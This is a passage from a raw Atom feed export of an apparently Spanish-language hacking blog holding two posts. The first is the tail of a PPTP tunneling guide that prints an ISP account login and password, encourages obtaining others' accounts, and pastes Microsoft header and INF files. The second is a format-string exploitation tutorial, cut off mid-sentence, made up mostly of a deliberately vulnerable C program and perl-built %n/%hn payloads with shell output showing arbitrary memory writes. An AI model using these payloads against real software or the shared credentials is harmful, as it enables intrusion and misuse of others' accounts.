/&gt;click en realizar nueva conexion --&gt; en en la opcion "modems" debereis seleccionar&lt;br /&gt;Adaptador de Microsoft para redes virtuales o Microsoft VPN adapter, lo poneis y nada&lt;br /&gt;seguis la instalacion, luego nos pedira que pongamos la IP del servidor de tunneles&lt;br /&gt;de nuestro ISP, pues nada lo ponemos y para finalizar el login y password..&lt;br /&gt;pues hasta ahora el unico ISP que he visto que vaya bien es ENCOMIX,&lt;br /&gt;pues nada a pillarse unas cuantas cuentas y a probar :) pues nada ponemos&lt;br /&gt;login: 2500@encomix y password: 2300hz y ya esta creado nuestro acceso telefonico VPN :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3.2)CONECTARNOS&lt;br /&gt;&lt;br /&gt;Pues bien una vez creado nuestro acceso telefonico, conectamos con nuestra cuenta normal&lt;br /&gt;y corriente con la que utilizamos siempre.. por ejemplo una de teleline, una vez conectados&lt;br /&gt;a inet ejecutamos nuestra conexion que habiamos llamado VPN yyyyyyyyy si tenemos suerte y&lt;br /&gt;conectamos entraremos a internet y veremos como el iconito de conexión.. si... ese...&lt;br /&gt;en el que aparece dos lucecitas verdes encendiendose y apagandose.. pues tendremos DOS&lt;br /&gt;iconitos de esos tan monos :P y entraremos a internet&lt;br /&gt;con otra IP distinta a la que nos habia asignado nuestro proveedor inicial (en este ejemplo&lt;br /&gt;teleline) :), asi conseguimos tener una ip de encomix :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3.3) UTILIDADES&lt;br /&gt;&lt;br /&gt;- Ante todo seguridad, por la encriptacion... aunque hace poco rompieron el algoritmo&lt;br /&gt;que implemento microsoft... al parecer era bastante malo :)&lt;br /&gt;- Las utilidades corre a la imaginacion de cada uno, podemos desde meter a saco clones&lt;br /&gt;en el irc, &lt;br /&gt;-hasta volver a hacer tunneling de nuevo, para ir saltando y tal :)&lt;br /&gt;-Aquellos que conectan con 900s podran ocultar su verdadera ip que&lt;br /&gt;resulta tan cantosa ( ipass o wcom...) así podremos conectarnos sin tener que usar wingates :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*&lt;br /&gt;* 4. ALGUNOS PROGRAMAS PARA HACER TUNNELING *&lt;br /&gt;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*&lt;br /&gt;&lt;br /&gt;- TunnelBuilder ( company: NTS)&lt;br /&gt;- TunnelMaster (NTS también)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*&lt;br /&gt;* 5. Algunos datos interesantes *&lt;br /&gt;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*&lt;br /&gt;&lt;br /&gt; ----------------------&lt;br /&gt;-= 5.1 -LIBRERIA DE VPN =-&lt;br /&gt;------------------------&lt;br /&gt;&lt;br /&gt;//==========================================================================;&lt;br /&gt;//&lt;br /&gt;//  Copyright (c) 1997 Microsoft Corporation. All Rights Reserved.&lt;br /&gt;//  Visual C++&lt;br /&gt;//--------------------------------------------------------------------------;&lt;br /&gt;&lt;br /&gt;#ifndef __IVPNotify__&lt;br /&gt;#define __IVPNotify__&lt;br /&gt;&lt;br /&gt;#ifdef __cplusplus&lt;br /&gt;extern "C" {&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;typedef struct _DDCOLORCONTROL&lt;br /&gt;{&lt;br /&gt;   DWORD   dwSize;&lt;br /&gt;   DWORD  dwFlags;&lt;br /&gt;   LONG  lBrightness;&lt;br /&gt;   LONG  lContrast;&lt;br /&gt;   LONG  lHue;&lt;br /&gt;   LONG   lSaturation;&lt;br /&gt;   LONG  lSharpness;&lt;br /&gt;   LONG  lGamma;&lt;br /&gt;   LONG  lEnable;&lt;br /&gt;} DDCOLORCONTROL;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;// interface IVPBaseNotify&lt;br /&gt;DECLARE_INTERFACE_(IVPBaseNotify, IUnknown)&lt;br /&gt;{&lt;br /&gt;public:&lt;br /&gt; // this function initializes the reconnection to the decoder.&lt;br /&gt; STDMETHOD (RenegotiateVPParameters)(THIS_&lt;br /&gt;        ) PURE;&lt;br /&gt;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;// interface IVPNotify&lt;br /&gt;DECLARE_INTERFACE_(IVPNotify, IVPBaseNotify)&lt;br /&gt;{&lt;br /&gt;public:&lt;br /&gt;   // function to set the mode (bob, weave etc)&lt;br /&gt;   STDMETHOD (SetDeinterlaceMode)(THIS_&lt;br /&gt;       IN AMVP_MODE mode&lt;br /&gt;      ) PURE;&lt;br /&gt;&lt;br /&gt;   // function to get the mode (bob, weave etc)&lt;br /&gt;   STDMETHOD (GetDeinterlaceMode)(THIS_&lt;br /&gt;       OUT AMVP_MODE *pMode&lt;br /&gt;      ) PURE;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   /*&lt;br /&gt;   // this function sets the overlay surface that the mixer is supposed to use.&lt;br /&gt;   STDMETHOD (SetOverlaySurface)(THIS_&lt;br /&gt;      IN LPDIRECTDRAWSURFACE pOverlaySurface&lt;br /&gt;     ) PURE;&lt;br /&gt;&lt;br /&gt;   // this function gets the overlay surface that the mixer is using&lt;br /&gt;   STDMETHOD (GetOverlaySurface)(THIS_&lt;br /&gt;      OUT LPDIRECTDRAWSURFACE *ppOverlaySurface&lt;br /&gt;     ) PURE;&lt;br /&gt;&lt;br /&gt; // this functions sets the color-controls, if the chip supports it.&lt;br /&gt;   STDMETHOD (SetColorControls)(THIS_&lt;br /&gt;     IN LPDDCOLORCONTROL pColorControl&lt;br /&gt;    ) PURE;&lt;br /&gt;&lt;br /&gt;   // this functions also returns the capability of the hardware in the dwFlags&lt;br /&gt;   // value of the struct.&lt;br /&gt;   STDMETHOD (GetColorControls)(THIS_&lt;br /&gt;     OUT LPDDCOLORCONTROL *ppColorControl&lt;br /&gt;    ) PURE;&lt;br /&gt;   */&lt;br /&gt;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;// interface IVPVBINotify&lt;br /&gt;DECLARE_INTERFACE_(IVPVBINotify, IVPBaseNotify)&lt;br /&gt;{&lt;br /&gt;public:&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;#ifdef __cplusplus&lt;br /&gt;}&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#endif // __IVPNotify__&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   ---------------------------------------------&lt;br /&gt;-= 5.2 Datos generados en la transmision de pptp: =-&lt;br /&gt;  ------------------------------------------------&lt;br /&gt;; netpptp.inf&lt;br /&gt;;&lt;br /&gt;; INF for Point to Point Tunneling Protocol WAN Miniport Driver (NETPPTP.SYS)&lt;br /&gt;;&lt;br /&gt;; The NETPPTP driver is the "Virtual Private Networking Adapter"&lt;br /&gt;;&lt;br /&gt;; Copyright (c) 1997 Microsoft Corporation&lt;br /&gt;&lt;br /&gt;[version]&lt;br /&gt;CatalogFile=netpptp.cat&lt;br /&gt;LayoutFile= Layout.inf, Layout1.inf, Layout2.inf&lt;br /&gt;Signature="$CHICAGO$"&lt;br /&gt;Class=Net&lt;br /&gt;ClassGUID={4d36e972-e325-11ce-bfc1-08002be10318}&lt;br /&gt;Provider=%V_MS%&lt;br /&gt;&lt;br /&gt;[Manufacturer]&lt;br /&gt;%V_MS%=PPTP&lt;br /&gt;&lt;br /&gt;[PPTP]&lt;br /&gt;%*PNP8386.DeviceDesc%=*PNP8386.ndi, *PNP8386&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;****************************************************************************&lt;br /&gt;; PnP ID Adapter Specific Install Section&lt;br /&gt;;****************************************************************************&lt;br /&gt;[*PNP8386.ndi]&lt;br /&gt;AddReg=*PNP8386.ndi.reg,PPTP.ndi.reg,PPTP.Gen.Params&lt;br /&gt;DeviceID=*PNP8386&lt;br /&gt;MaxInstance=1&lt;br /&gt;&lt;br /&gt;[*PNP8386.ndi.reg]&lt;br /&gt;HKR,Ndi,DeviceID,,"*PNP8386"  ; pnp id&lt;br /&gt;HKR,Ndi,NetType,,1&lt;br /&gt;&lt;br /&gt;;****************************************************************************&lt;br /&gt;; Base Section&lt;br /&gt;;****************************************************************************&lt;br /&gt;[PPTP.ndi.reg]&lt;br /&gt;HKR,,DevLoader,,*ndis&lt;br /&gt;HKR,,DeviceVxDs,, netpptp.sys&lt;br /&gt;&lt;br /&gt;; NDIS Info&lt;br /&gt;HKR,NDIS,LogDriverName,,"pptp"&lt;br /&gt;HKR,NDIS,MajorNdisVersion,HEX,03&lt;br /&gt;HKR,NDIS,MinorNdisVersion,HEX,0A&lt;br /&gt;&lt;br /&gt;; Interfaces&lt;br /&gt;HKR,Ndi\Interfaces,DefUpper,,"ndiswan"&lt;br /&gt;HKR,Ndi\Interfaces,DefLower,,"pptp"&lt;br /&gt;HKR,Ndi\Interfaces,UpperRange,,"ndiswan"&lt;br /&gt;HKR,Ndi\Interfaces,LowerRange,,"pptp"&lt;br /&gt;&lt;br /&gt;; Required Components&lt;br /&gt;HKR,Ndi\Compatibility,RequireAll,,"NDISWAN"&lt;br /&gt;&lt;br /&gt;; Install sections&lt;br /&gt;HKR,Ndi\Install,ndiswan,,"PPTP.ndiswan"&lt;br /&gt;&lt;br /&gt;; Context help&lt;br /&gt;HKR,Ndi,HelpText,,%PPTP_HELP%&lt;br /&gt;&lt;br /&gt;; Uninstall sections&lt;br /&gt;HKR,Ndi\Remove,ndiswan,,"PPTP.ndiswan.uninstall"&lt;br /&gt;&lt;br /&gt;;****************************************************************************&lt;br /&gt;; TAPI ISDN Configuration&lt;br /&gt;;****************************************************************************&lt;br /&gt;HKR,TAPI,ConfigFlags,1,00,00,00,00&lt;br /&gt;HKR,TAPI,DeviceType,1,01,00,00,00&lt;br /&gt;HKR,TAPI,DeviceCaps,1,14,00,00,00, 00,00,00,00, 02,00,00,00, 01,00,00,00, 01,00,00,00&lt;br /&gt;HKR,TAPI\Line0,ConfigFlags,1,00,00,00,00&lt;br /&gt;HKR,TAPI\Line0,LineCaps,1,1c,00,00,00, 00,00,00,00, 03,00,00,00, ff,00,00,00, 03,00,00,00,&lt;br /&gt;02,00,00,00, 02,00,00,00&lt;br /&gt;HKR,TAPI\Line0,Properties,1,00,00,00,00, 00,00,00,00, 00,00,00,00&lt;br /&gt;HKR,TAPI\Line0\Channel0,ConfigFlags,1,00,00,00,00&lt;br /&gt;HKR,TAPI\Line0\Channel0,Properties,1,00,00,00,00, 00,00,00,00, 00,00,00,00&lt;br /&gt;HKR,TAPI\Line0\Channel0,SPID,,""&lt;br /&gt;HKR,TAPI\Line0\Channel0,Phone,,""&lt;br /&gt;HKR,TAPI\Line0\Channel1,ConfigFlags,1,00,00,00,00&lt;br /&gt;HKR,TAPI\Line0\Channel1,Properties,1,00,00,00,00, 00,00,00,00, 00,00,00,00&lt;br /&gt;HKR,TAPI\Line0\Channel1,SPID,,""&lt;br /&gt;HKR,TAPI\Line0\Channel1,Phone,,""&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;****************************************************************************&lt;br /&gt;; General Params&lt;br /&gt;;****************************************************************************&lt;br /&gt;[PPTP.Gen.Params]&lt;br /&gt;; pptp constant values&lt;br /&gt;HKR,,BoardType,,"Microsoft Virtual Private Networking Adapter"&lt;br /&gt;HKR,,BoardName,,"Microsoft Virtual Private Networking Adapter"&lt;br /&gt;HKR,,DeviceName,,"Microsoft VPN Adapter"&lt;br /&gt;HKR,,ProviderInfo,,"Microsoft"&lt;br /&gt;HKR,,DeviceType,,"PPTP"&lt;br /&gt;HKR,,TunnelGreOverUdp,,0&lt;br /&gt;&lt;br /&gt;;****************************************************************************&lt;br /&gt;; Install Section&lt;br /&gt;;****************************************************************************&lt;br /&gt;&lt;br /&gt;; Install section for NDISWAN upper edge (only for WAN miniports)&lt;br /&gt;[PPTP.ndiswan]&lt;br /&gt;CopyFiles=PPTP.ndiswan.CopyFiles&lt;br /&gt;AddReg=PPTP.Install&lt;br /&gt;&lt;br /&gt;[PPTP.Install]&lt;br /&gt;;****************************************************************************&lt;br /&gt;; VPN Option Installed&lt;br /&gt;;****************************************************************************&lt;br /&gt;HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\OptionalComponents\VPN,Installed,,"1"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;****************************************************************************&lt;br /&gt;; Uninstall Section&lt;br /&gt;;****************************************************************************&lt;br /&gt;[PPTP.ndiswan.uninstall]&lt;br /&gt;AddReg=PPTP.Uninstall&lt;br /&gt;&lt;br /&gt;[PPTP.Uninstall]&lt;br /&gt;;****************************************************************************&lt;br /&gt;; VPN Option Uninstalled&lt;br /&gt;;****************************************************************************&lt;br /&gt;HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\OptionalComponents\VPN,Installed,,"0"&lt;br /&gt;&lt;br /&gt;;****************************************************************************&lt;br /&gt;; CopyFiles Section&lt;br /&gt;;****************************************************************************&lt;br /&gt;[PPTP.ndiswan.CopyFiles]&lt;br /&gt;netpptp.sys,,,32       ; 32 = no version conflict when target is newer&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;****************************************************************************&lt;br /&gt;; Destination Directories&lt;br /&gt;;****************************************************************************&lt;br /&gt;[DestinationDirs]&lt;br /&gt;PPTP.ndiswan.CopyFiles  =11 ; System Directory&lt;br /&gt;&lt;br /&gt;;****************************************************************************&lt;br /&gt;; Localizable Strings&lt;br /&gt;;****************************************************************************&lt;br /&gt;[strings]&lt;br /&gt;; Provider &amp; Manufacturers&lt;br /&gt;V_MS = "Microsoft"&lt;br /&gt;&lt;br /&gt;; Device Descriptions&lt;br /&gt;*PNP8386.DeviceDesc = "Adaptador de red privada virtual de Microsoft"&lt;br /&gt;&lt;br /&gt;; Context Help&lt;br /&gt;PPTP_HELP = "El adaptador de red privada virtual de Microsoft permite a su PC&lt;br /&gt;conectarse a redes privadas a través de redes públicas como Internet."&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--  [CrAsH]]  -- - -- - -- - -- - -- - -- - --   @_2500Hz - Underground Scene -&lt;br /&gt;- -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - --&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13066511-111666128602201735?l=hax0rs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hax0rs.blogspot.com/feeds/111666128602201735/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13066511&amp;postID=111666128602201735' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/111666128602201735'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/111666128602201735'/><link rel='alternate' type='text/html' href='http://hax0rs.blogspot.com/2005/05/obtener-una-ip-diferente-al-modo.html' title='Obtener una IP diferente al modo normal'/><author><name>KsiAnonimo</name><uri>http://www.blogger.com/profile/00509391750525459004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.cogitoalius.com.ar/avatarcogitoalius.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13066511.post-111666123347490160</id><published>2005-05-21T00:40:00.000-07:00</published><updated>2005-05-21T00:40:40.840-07:00</updated><title type='text'>..."varios ejemplos de format bugs y varias tecnicas"...</title><content type='html'>&lt;pre&gt;Explotando Format Bugs&lt;br /&gt;Por 0x90 (0x90@raza-mexicana.org)&lt;br /&gt;I. Introduccion&lt;br /&gt;Los format bugs son ya una cosa cotidiana en la explotacion y se pueden&lt;br /&gt;ver un monton de textos y de exploits por todos lados, porque hacer otro&lt;br /&gt;mas?, porque simplemente no hay uno bueno en español y los que he visto&lt;br /&gt;fallan de algunas cosas que son obvias tal vez cuando ya las sabes hacer&lt;br /&gt;pero cuando estas intentado explotar tu primer format bug son un dolor de&lt;br /&gt;cabeza.&lt;br /&gt;Aqui veremos varios ejemplos de format bugs y varias tecnicas, no son&lt;br /&gt;todas ni las mas avanzadas pero bueno al menos podran explotar su format&lt;br /&gt;bug al final de este articulo.&lt;br /&gt;Bien importante si no saben C se la van a pasar en blanco casi con este&lt;br /&gt;articulo y si ustedes son de los que cuando hace segmentation fault lo&lt;br /&gt;primero que dicen es qu ees una denegacion de servicio en lugar de un&lt;br /&gt;buffer overflow todavia mas. Intentare irme a lo basico pero no cuenten&lt;br /&gt;con ello.&lt;br /&gt;II. printf y su familia&lt;br /&gt;Hay muchas funciones que imprimen a la pantalla, write, printf y demas,&lt;br /&gt;ademas de imprimir en archivos, cual es el problema en el cual tomas&lt;br /&gt;control de todo el problema?. Veamos con un ejemplito:&lt;br /&gt;---fmt.c---&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;char buf[256];&lt;br /&gt;unsigned long test=&amp;test;&lt;br /&gt;char buf2[12]="aaaaaaaaaaa\x00";&lt;br /&gt;snprintf(buf,256,argv[1]); //here's the problem&lt;br /&gt;buf[255]='\0';&lt;br /&gt;printf("%s\n",buf);&lt;br /&gt;printf("%x\n",test);&lt;br /&gt;printf("%s adr: %.8x\n",buf2,&amp;buf2);&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;---fmt.c---&lt;br /&gt;Como puedes ver el problema esta en el sprintf(), porque? porque no le&lt;br /&gt;estamos diciendo que formato usar para los datos, y lo espera en su&lt;br /&gt;funcion:&lt;br /&gt;int sprintf(char *str, const char *format, ...);&lt;br /&gt;Asi pues que pasa si se encuentra un %x pero no hay nada? toma lo&lt;br /&gt;siguiente que hay en el stack para imprimirlo, pero que es?, pues todo el&lt;br /&gt;15&lt;br /&gt;www.raza-mexicana.org (ezine14)&lt;br /&gt;stack! hasta las direcciones de retorno!!! y que pasa cada vez que&lt;br /&gt;imprimes?, simplemente lo saca del stack porque como ya lo imprimio? y es&lt;br /&gt;lo que llamamos "Avanzar el stack".&lt;br /&gt;Que pasa cuando jalamos el programa?&lt;br /&gt;0x8048430 &lt;main&gt;: push %ebp&lt;br /&gt;0x8048431 &lt;main 1=""&gt;: mov %esp,%ebp&lt;br /&gt;0x8048433 &lt;main 3=""&gt;: push %edi&lt;br /&gt;0x8048434 &lt;main 4=""&gt;: push %esi&lt;br /&gt;Salvamos la direccion de retorno, la direccion del stack (Frame pointer)&lt;br /&gt;empujamos todo al stack y empezamos a inicializar las variables. Para que&lt;br /&gt;nos sirve la direccion de retorno?, bueno per se un programa nunca&lt;br /&gt;termina, es decir, tu regresas control al programa anterior, que programa&lt;br /&gt;tenias antes? el shell. Como vez? ahh verdad los puristas de asm ahora si&lt;br /&gt;estaran felices de la rectificacion de pendejadas que siempre se cometen&lt;br /&gt;en este tema, bueno a seguir.&lt;br /&gt;[root@XtremeLinux format]# ./fmt&lt;br /&gt;AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x&lt;br /&gt;AAAA000007d961616161616161610061616140013bc80000000340013e4800000001bffff&lt;br /&gt;a0c41414141&lt;br /&gt;bffffa0c&lt;br /&gt;aaaaaaaaaaa adr: bffff9f0&lt;br /&gt;[root@XtremeLinux format]#&lt;br /&gt;Que vemos aqui? Se ve un desmadre vamos a poner espacios para ver mejor,&lt;br /&gt;hay que ponertodo dentro de "" para que sepa que sigue siendo argv[1]&lt;br /&gt;okas?&lt;br /&gt;[root@XtremeLinux format]# ./fmt "AAAA%.8x %.8x %.8x %.8x %.8x %.8x %.8x&lt;br /&gt;%.8x %.8x %.8x"&lt;br /&gt;AAAA000007d9 61616161 61616161 00616161 40013bc8 00000003 40013e48&lt;br /&gt;00000001 bffff9fc 41414141&lt;br /&gt;bffff9fc&lt;br /&gt;aaaaaaaaaaa adr: bffff9e0&lt;br /&gt;[root@XtremeLinux format]#&lt;br /&gt;Ahh que puta diferencia!!! hay algunas cosas que como que se me hacen&lt;br /&gt;medio conocidas:&lt;br /&gt;A == 0x41 (hexadecimal)&lt;br /&gt;a == 0x61 (hexadecimal)&lt;br /&gt;Del fmt.c vemos que:&lt;br /&gt;char buf[256];&lt;br /&gt;unsigned long test=&amp;test;&lt;br /&gt;char buf2[12]="aaaaaaaaaaa\x00";&lt;br /&gt;Vemos AAAA luego algo raro luego 61616161 que es aaaa luego 00616161&lt;br /&gt;(aaa\0) luego parte del syscal de kernel, un argumento, otra direccion,&lt;br /&gt;un 1, luego una direccion y luego 41414141, que sera la direccion? la&lt;br /&gt;direccion de donde esta test chequen que es la misma que se imprime un&lt;br /&gt;renglon abajo.&lt;br /&gt;Entonces ya sabemos donde estamos no?, si ... no ... si ... no .. no han&lt;br /&gt;entendido? man printf, gdb ./fmt y art of assembly si que les van a&lt;br /&gt;ayudar.&lt;br /&gt;Escribamos sobre alguna direccion, empecemos a escribir sobre la&lt;br /&gt;direccion de test como ven?, no no les estoy preguntando chingada&lt;br /&gt;madre... vamos a escribir y me vale madre.&lt;br /&gt;Para escribir usamos %n, es muy importante recordar que %n imprime el&lt;br /&gt;numero de caracteres que se debarian de haber impreso hasta ese momento,&lt;br /&gt;chequen como digo el numero de chars que se DEBERIAN de haber impreso no&lt;br /&gt;los que se han impreso okas??&lt;br /&gt;Veamos en fmt:&lt;br /&gt;[root@XtremeLinux format]# ./fmt "AAAA%.8x %.8x %.8x %.8x %.8x %.8x %.8x&lt;br /&gt;%.8x %n %.8x"&lt;br /&gt;AAAA000007d9 61616161 61616161 00616161 40013bc8 00000003 40013e48&lt;br /&gt;00000001 41414141&lt;br /&gt;4c&lt;br /&gt;aaaaaaaaaaa adr: bffff9e0&lt;br /&gt;[root@XtremeLinux format]#&lt;br /&gt;Verga, cambio la direccion a 4c y ademas ya no aparecio en el siguiente&lt;br /&gt;%.8x, porque?, por lo que les habia comentado lo saca del stack, y de que&lt;br /&gt;nos sirve esto?...&lt;br /&gt;Si todavia se preguntan esto lentamente cierra este documento, apaga tu&lt;br /&gt;computadora destruye tus libritos de como hackear hotmail, de como&lt;br /&gt;isntalar subseven y suicidate. Gracias menos script kiddiez.&lt;br /&gt;Okas no te has suicidado o no me hiciste puto caso o quieres aprender&lt;br /&gt;(Bravo! neesitamos menos weyes que roben programas de los demas y menos&lt;br /&gt;weyes que sean pendejos ./). Si queremos veamos si queremos escribir&lt;br /&gt;0xbeef pondriamos 48811 veamos:&lt;br /&gt;[root@XtremeLinux format]# ./fmt "AAAA%.8x %.8x %.8x %.8x %.8x %.8x %.8x&lt;br /&gt;%.48811x %n %.8x"&lt;br /&gt;AAAA000007d9 61616161 61616161 00616161 40013bc8 00000003 40013e48&lt;br /&gt;0000000000000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;0000000000000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;000000000000000000000000000000000000000000&lt;br /&gt;beef&lt;br /&gt;aaaaaaaaaaa adr: bffff9e0&lt;br /&gt;[root@XtremeLinux format]#&lt;br /&gt;Pero, pero 48811 en hexa no es beef, claro que no estas tomando en cuenta&lt;br /&gt;todos los otros chars que estas imprimiendo tambien o no? ahhhhh verdad?&lt;br /&gt;suma y veras que si da =)&lt;br /&gt;Si quisieras escribir 0xbfffbeef tendrias que mandar alrededor de 250+&lt;br /&gt;megas a la consola lo cual duraria entre 5 y 10 minutos, que hueva no?&lt;br /&gt;PERO si leemos lo que es la especificacion de %n podemos ver que es swtch&lt;br /&gt;h es un half world write, es decir solo escribe 2 bytes en lugar de los&lt;br /&gt;4, que quiere decir esto? chequen:&lt;br /&gt;[root@XtremeLinux format]# ./fmt "AAAA%.8x %.8x %.8x %.8x %.8x %.8x %.8x&lt;br /&gt;%.48811x %hn %.8x"&lt;br /&gt;AAAA000007d9 61616161 61616161 00616161 40013bc8 00000003 40013e48&lt;br /&gt;0000000000000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;0000000000000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;000000000000000000000000000000000000000000&lt;br /&gt;bfffbeef&lt;br /&gt;aaaaaaaaaaa adr: bffff9e0&lt;br /&gt;[root@XtremeLinux format]#&lt;br /&gt;VERGA! escribimos una direccion de donde tomo la otra parte? de la parte&lt;br /&gt;que estaba ahi, solo escribimos 2 bytes o sea 16 bits de la direccion no&lt;br /&gt;los 32 buts completos. para que nos sirve esto? para poder hacer&lt;br /&gt;escrituras en dos partes y por lo tanto poder escribir mas rapido y con&lt;br /&gt;mas exactitud.&lt;br /&gt;Pero como puedo hacer para escribir en un lugar chingon?, chingon&lt;br /&gt;escribir en cualquier lugar pero no querias chigar el puto EIP o algo del&lt;br /&gt;GOT no? bueno bueno si le pones la direccion de donde quieres escribir&lt;br /&gt;puedes cambiar lo que quieras de esa direccion, checa:&lt;br /&gt;[root@XtremeLinux format]# ./fmt `perl -e 'print "\x3c\xf9\xff\xbf";&lt;br /&gt;print "\x90" x 200; print&lt;br /&gt;"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48811x%n%.8x";'`&lt;br /&gt;ùÿ¿AAAA000007d961616161616161610061616140013bc80000000&lt;br /&gt;bfb3&lt;br /&gt;aaaaaaaaaaa adr: bffff920&lt;br /&gt;[root@XtremeLinux format]#&lt;br /&gt;El half word write sigue funcionando?? veamos:&lt;br /&gt;[root@XtremeLinux format]# ./fmt `perl -e 'print "\x3c\xf9\xff\xbf";&lt;br /&gt;print "\x90" x 200; print&lt;br /&gt;"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48811x%hn%.8x";'`&lt;br /&gt;ùÿ¿AAAA000007d961616161616161610061616140013bc80000000&lt;br /&gt;bfffbfb3&lt;br /&gt;aaaaaaaaaaa adr: bffff920&lt;br /&gt;[root@XtremeLinux format]#&lt;br /&gt;Pues si si jalo pero como se que en serio estoy escribiendo donde debe?&lt;br /&gt;cambia la dir a ver que pasa =)&lt;br /&gt;[root@XtremeLinux format]# ./fmt `perl -e 'print "\xcc\xf9\xff\xbf";&lt;br /&gt;print "\x90" x 200; print&lt;br /&gt;"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48811x%hn%.8x";'`&lt;br /&gt;ùÿ¿»¿AAAA000007d961616161616161610061616140013bc80000000&lt;br /&gt;bffff92c&lt;br /&gt;aaaaaaaaaaa adr: bffff910&lt;br /&gt;[root@XtremeLinux format]#&lt;br /&gt;Chequen una cosita tuve que poner uno de mas para que se fue a la dir!!!&lt;br /&gt;es por el extra pop =), los pops pueden variar por uno en caso de tu gcc,&lt;br /&gt;ya que algunos (arriba del gcc 2.95) alinean %8 para mayor velocidad asi&lt;br /&gt;que tienes un pop de mas ...&lt;br /&gt;Es mas veamos si podemos poner una direccion completa nosotros no? como&lt;br /&gt;modificamos la primera parte?, bueno lo que haces es que hacemos dos %hn&lt;br /&gt;pero entre canda uno ponemos BBBB (4 bytes) para que sea el input de&lt;br /&gt;printf() y que no te de segfault en sistemas extraŽños (asi tenemos&lt;br /&gt;completa generalidad en la explotacion).&lt;br /&gt;entonces queda:&lt;br /&gt;&lt;direccion&gt;&lt;4&gt;&lt;direccion&gt;&lt;nops&gt;&lt;los&gt;%hn&lt;%x&gt;%hn&lt;br /&gt;asi pues:&lt;br /&gt;[root@XtremeLinux format]# ./fmt `perl -e 'print "\x2c\xf9\xff\xbf";&lt;br /&gt;print "AAAA"; print "\x2e\xf9\xff\xbf"; print "\x90" x 192; print&lt;br /&gt;"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48811x%hn%.1000x%hn";'`&lt;br /&gt;,%/1€Žiso8859-15ùÿ¿AAAA.%/1€Žiso8859-&lt;br /&gt;15ùÿ¿AAAA000007d961616161616161610061616140013bc80000000&lt;br /&gt;c3a3bfbb&lt;br /&gt;aaaaaaaaaaa adr: bffff910&lt;br /&gt;[root@XtremeLinux format]#&lt;br /&gt;Como ponemos las direcciones? ahi esta lo duro y tupido. Veamos veamos&lt;br /&gt;...&lt;br /&gt;La primera fase es facil beef == 48879 y le quitamos lo que hemos impreso&lt;br /&gt;208 bytes (4 de la primera direccion, 4B, 4 de la segunda y 192 nops),&lt;br /&gt;tambien le quitamos 8 veces el del 8 programas (8 * 8 == 64) o sea el&lt;br /&gt;primero es 48607. De ahi sigue le segunda parte que esta un poco mas&lt;br /&gt;dificil como vamos a hacer un short write solo vamos a escribir 2 bytes&lt;br /&gt;(0xffff no 0xffffffff), pero ya escribimos un chingo, entonces hay que&lt;br /&gt;ver que pedo, hacemos un wrap around, es decir subtraemos lo que ya&lt;br /&gt;escribimos de 1bfff y le ponemos lo que queremos escribir!&lt;br /&gt;1bfff - beef = 65808&lt;br /&gt;[root@XtremeLinux format]# ./fmt `perl -e 'print "\x2c\xf9\xff\xbf";&lt;br /&gt;print "AAAA"; print "\x2e\xf9\xff\xbf"; print "\x90" x 192; print&lt;br /&gt;"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48607x%hn%.65808x%hn";'`&lt;br /&gt;,%/1€Žiso8859-15ùÿ¿AAAA.%/1€Žiso8859-&lt;br /&gt;15ùÿ¿AAAA000007d961616161616161610061616140013bc80000000&lt;br /&gt;bfffbeef&lt;br /&gt;aaaaaaaaaaa adr: bffff910&lt;br /&gt;[root@XtremeLinux format]#&lt;br /&gt;Ya dio miedo no? y de que chingados me sirve 